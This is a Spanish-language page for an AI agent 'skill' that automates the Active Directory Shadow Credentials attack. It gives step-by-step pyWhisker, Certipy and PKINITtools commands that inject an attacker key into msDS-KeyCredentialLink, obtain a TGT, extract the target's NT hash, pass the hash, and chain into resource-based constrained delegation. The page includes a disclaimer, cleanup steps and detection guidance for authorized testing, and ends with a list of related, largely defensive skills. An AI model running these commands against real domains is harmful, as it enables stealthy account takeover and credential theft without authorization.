Communitygithub.com

Abuso de Shadow Credentials para Escalada de Privilegios

Tome el control de cuentas de Active Directory escribiendo claves públicas controladas por el atacante en msDS-KeyCredentialLink (Shadow Credentials) con pyWhisker, Whisker o Certipy, luego autentíquese vía PKINIT para recuperar el hash NT del objetivo.

¿Qué es Abuso de Shadow Credentials para Escalada de Privilegios?

Esta habilidad automatiza el abuso de la técnica Shadow Credentials para la toma de control completa de cuentas de Active Directory sin restablecer la contraseña, lo que la hace sigilosa y evita bloqueos o alertas. Requiere tener permiso de escritura sobre el atributo `msDS-KeyCredentialLink` del objeto objetivo (por ejemplo, mediante los ACEs GenericWrite, GenericAll, WriteProperty o AddKeyCredentialLink). Utiliza herramientas como pyWhisker (Python), Whisker (C#) o Certipy (automático) para añadir una clave pública controlada por el atacante, luego solicita un TGT Kerberos para el objetivo mediante PKINIT y recupera el hash NT para movimientos laterales posteriores. Está diseñado para equipos rojos, pruebas de penetración autorizadas y ejercicios púrpura. El entorno debe tener al menos un Controlador de Dominio con Windows Server 2016 o superior y PKINIT habilitado.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace Abuso de Shadow Credentials para Escalada de Privilegios?

Aviso legal: Esta habilidad es solo para pruebas de seguridad autorizadas y fines educativos. Shadow Credentials otorgan la toma de control total de la cuenta objetivo. Úsela solo contra sistemas de su propiedad o para los que tenga autorización explícita por escrito. El acceso no autorizado es un delito.

Resumen

La técnica Shadow Credentials abusa del atributo msDS-KeyCredentialLink de objetos de usuario y equipo en Active Directory. Este atributo almacena claves públicas sin procesar ("Key Credentials") utilizadas por Windows Hello for Business y el registro de dispositivos de Azure AD para inicio de sesión basado en certificados sin contraseña mediante PKINIT (Criptografía de Clave Pública para Autenticación Inicial en Kerberos). Si un atacante tiene permiso de escritura sobre el msDS-KeyCredentialLink del objetivo (generalmente otorgado por los ACEs GenericWrite, GenericAll, WriteProperty o AddKeyCredentialLink que aparecen en BloodHound), puede añadir su propia clave pública generada por el atacante. Luego solicitan un TGT para el objetivo a través de PKINIT usando la clave privada correspondiente y recuperan el hash NT del objetivo, logrando una toma de control completa sin restablecer la contraseña, lo que es mucho más sigiloso que un restablecimiento forzado de contraseña.

La técnica fue publicada por Elad Shamir ("Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover") e implementada en la herramienta C# Whisker. El equivalente en Python pyWhisker (ShutdownRepo) manipula el atributo mediante LDAP, y Certipy integra toda la cadena mediante certipy shadow auto. El entorno objetivo debe ser compatible con PKINIT y tener al menos un Controlador de Dominio con Windows Server 2016 o posterior. Fuentes: pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.

Cuándo Usarlo

  • Cuando BloodHound revela GenericWrite/GenericAll/AddKeyCredentialLink sobre un usuario o equipo de alto valor
  • Como alternativa sigilosa a ForceChangePassword (sin restablecimiento de contraseña = menos interrupción/alertas)
  • Para tomar el control de una cuenta de equipo y encadenar hacia Delegación Restringida Basada en Recursos (RBCD)
  • Durante operaciones de equipo rojo que necesitan tomar el control de cuentas sin bloquear al usuario legítimo
  • Para ejercicios de equipo púrpura generando telemetría de modificación de msDS-KeyCredentialLink

Prerrequisitos

  • Alcance del compromiso autorizado que incluya técnicas de acceso a credenciales de AD
  • Control de una entidad con acceso de escritura al msDS-KeyCredentialLink del objetivo
  • Un DC con Windows Server 2016+ con PKINIT habilitado (nivel funcional de dominio que soporte Key Trust)
  • Acceso de red a LDAP (389/636) y Kerberos (88) en un DC
  • Host de ataque Linux con Python 3.8+; instalar las herramientas:
    # pyWhisker (desde el código fuente)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (ataque shadow integrado)
    pipx install certipy-ad
    # PKINITtools para extracción manual de TGT/hash NT
    git clone https://github.com/dirkjanm/PKINITtools
    

Objetivos

  • Confirmar acceso de escritura sobre el msDS-KeyCredentialLink del objetivo
  • Generar un par de claves y añadir una Key Credential al objeto objetivo
  • Solicitar un TGT para el objetivo mediante PKINIT usando la nueva clave
  • Recuperar el hash NT del objetivo para pass-the-hash / movimiento posterior
  • Limpiar la Key Credential inyectada para restaurar el estado del objeto
  • Documentar la ruta ACL que permitió el ataque para su remediación

Mapeo MITRE ATT&CK

IDTécnicaAplicación en esta habilidad
T1098.005Manipulación de Cuentas: Registro de DispositivosEscribir una Key Credential controlada por el atacante (clave de dispositivo) en msDS-KeyCredentialLink para registrar una credencial de autenticación alternativa para la cuenta objetivo

Flujo de Trabajo

Paso 1: Confirmar el primitivo de escritura

Listar las Key Credentials existentes en el objetivo para verificar que tenga el acceso requerido. Un resultado vacío o legible confirma acceso de escritura para el paso add.

python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
    --target "victima" --action "list"

Paso 2: Añadir una Shadow Credential con pyWhisker

Generar un par certificado/clave y escribirlo en el msDS-KeyCredentialLink del objetivo. pyWhisker genera un PFX que usted controla.

python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
    --target "victima" --action "add" --filename victima_shadow
# Produce victima_shadow.pfx e imprime la contraseña del PFX

Use autenticación Kerberos en lugar de contraseña si solo tiene un ticket:

python3 pywhisker.py -d "corp.local" -u "atacante" -k --no-pass \
    --target "victima" --action "add" --filename victima_shadow --use-ldaps

Paso 3: Solicitar un TGT mediante PKINIT

Use el PFX generado con PKINITtools para obtener un TGT de Kerberos para el objetivo.

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victima_shadow.pfx -pfx-pass <CONTRASEÑA_PFX> \
    corp.local/victima victima.ccache

Paso 4: Recuperar el hash NT

Extraiga el hash NT del objetivo del AS-REP usando la clave de sesión del Paso 3 (getnthash.py lee la clave de cifrado del AS-REP, mostrada por gettgtpkinit.py).

export KRB5CCNAME=victima.ccache
python3 PKINITtools/getnthash.py -key <CLAVE-AS-REP-DEL-PASO-3> corp.local/victima
# Imprime el hash NT para 'victima'

Paso 5: Alternativa en un solo paso con Certipy

certipy shadow auto realiza add → PKINIT → volcar hash → limpieza automáticamente, ideal para toma de control de cuentas de equipo.

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victima'
# Para una cuenta de equipo, use el sAMAccountName con $ al final
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

Paso 6: Usar la credencial recuperada

Autentíquese con el hash NT (o el TGT) para continuar con el compromiso.

# Pass-the-hash con NetExec
nxc smb 10.0.0.10 -u victima -H <HASH-NT-RECUPERADO>
# O use el TGT directamente
export KRB5CCNAME=victima.ccache
nxc smb dc.corp.local -u victima --use-kcache

Paso 7: Encadenar toma de control de equipo en RBCD (opcional)

Cuando el objetivo es un equipo, la clave/hash recuperado le permite configurar Delegación Restringida Basada en Recursos para hacerse pasar por cualquier usuario a ese host.

# Configurar RBCD para que el SPN controlado por el atacante pueda suplantar a WS01$
impacket-rbcd -delegate-from 'atacante$' -delegate-to 'WS01$' \
    -action write 'corp.local/atacante:Passw0rd!'

Paso 8: Limpiar

Elimine la Key Credential inyectada para restaurar el objeto y reducir la huella de detección.

# pyWhisker: eliminar por device-id (impreso durante add) o limpiar todo lo que haya añadido
python3 pywhisker.py -d "corp.local" -u "atacante" -p "Passw0rd!" \
    --target "victima" --action "remove" --device-id <ID-DISPOSITIVO>
# Certipy shadow auto limpia automáticamente; de lo contrario:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victima'

Herramientas y Recursos

RecursoPropósitoEnlace
pyWhiskerManipulación LDAP en Python de msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
WhiskerImplementación original en C#https://github.com/eladshamir/Whisker
Certipyshadow auto toma de control integralhttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker RecipesExplicación de la técnica y defensashttps://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

Notas de Detección y Remedio

ÁreaOrientación
DetecciónMonitoree el Evento de Seguridad de Windows ID 5136 (modificación de objeto de directorio) para cambios en msDS-KeyCredentialLink; alerte cuando una entidad que no sea AD-Connect/Intune escriba el atributo.
AuditoríaHabilite la auditoría de cambios de objetos de servicio de directorio en UOs de usuario/equipo.
Mínimo privilegioElimine los ACEs innecesarios GenericWrite/GenericAll/AddKeyCredentialLink (el borde AddKeyCredentialLink de BloodHound).
MitigaciónDonde Windows Hello/registro de dispositivos no se utilice, restrinja quién puede escribir Key Credentials y considere cuentas protegidas de nivel 0.

Criterios de Validación

  • Acceso de escritura sobre el msDS-KeyCredentialLink del objetivo confirmado (list exitoso)
  • Key Credential añadida exitosamente (PFX generado)
  • TGT de PKINIT obtenido para la cuenta objetivo
  • Hash NT del objetivo recuperado y validado contra un servicio
  • (Si es equipo) Cadena RBCD o movimiento posterior demostrado
  • Key Credential inyectada eliminada / objeto restaurado
  • Ruta ACL habilitante documentada con recomendación de remedio

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

Skills relacionados